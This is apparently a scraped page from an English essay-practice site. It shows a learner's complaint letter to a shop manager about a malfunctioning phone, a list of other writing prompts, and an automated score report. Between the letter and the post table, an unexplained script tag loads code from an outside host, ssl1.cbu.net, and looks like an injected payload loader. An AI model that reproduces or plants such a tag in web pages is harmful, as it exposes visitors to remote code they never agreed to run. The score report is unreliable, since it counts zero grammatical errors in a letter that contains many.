You have bought a mobile phone in a tax-free shop just a few days ago, and it doesn't work properly. Task: write a letter to the manager to complain about it and ask him to solve the problem.
Dear Sir/Madam,
I am writing to express my dissatisfaction with new mobile phone that I purchased in your store a few days ago on August 21. After the first discharging time, problems started to appear.
First malfunction is the charge plug it does not work at all I think its wire is broken. Second malfunction that I see is its camera does not work correctly. It just record for one minute, after that the mobile is hanged and I had to turn it off. And also quality of its picture is very poor. The worst malfunction is I cannot use internet. Wi-Fi seems stop working and I do not have any idea how to restarting it.
You can imagine how unhappy I was to discover my new mobile phone does not work at all. I contact your store immediately in order to return the mobile and spoke to supervisor. He said to me if I want to replace this one with the new one, I should pay 100$ extra even if it has guaranty.
I am very disappointed with both your equipment and service. Therefore I expect a full refund of 180$ that I pay for the mobile phone.
Yours faithfully,
Ms. Mino
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2019-06-15 | sawufaguna | 89 | view |
- You are working in a very busy office A particular piece of office equipment is not working properly Write a letter to the manager and say What is happening with the equipment How does this affects your work What do you suggest to be done 49
- The popularity of mobile phones among young people is a growing rapidly Is it a good or a bad development Give your own opinion and relevant examples from experience 51
- You successfully passed a job interview You are expected to start on November 15 but you will not be available on that date Task Write a letter to your new boss explaining your situation expressing your concern and suggesting solutions 56
- Discuss the advantages and disadvantages of having a car 66
- There is a public event coming up in your town Write a letter to your friend who you think would be interested to take part in it In your letter Describe the event Say why you think he she would be interested Suggest an arrangement to meet there with him 76
Good job!
Attribute Value Ideal
Score: 7.5 out of 9
Category: Very Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 13 9
No. of Words: 197 200
No. of Characters: 809 900
No. of Different Words: 119 100
Fourth Root of Number of Words: 3.746 4.7
Average Word Length: 4.107 4.6
Word Length SD: 2.461 2.4
No. of Words greater than 5 chars: 47 80
No. of Words greater than 6 chars: 28 60
No. of Words greater than 7 chars: 17 40
No. of Words greater than 8 chars: 13 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 15.154 21.0
Sentence Length SD: 5.333 7.5
Use of Discourse Markers (%): 0.462 0.12
Sentence-Text Coherence: 0.397 0.35
Sentence-Para Coherence: 0.586 0.50
Sentence-Sentence Coherence: 0.122 0.07
Number of Paragraphs: 4 4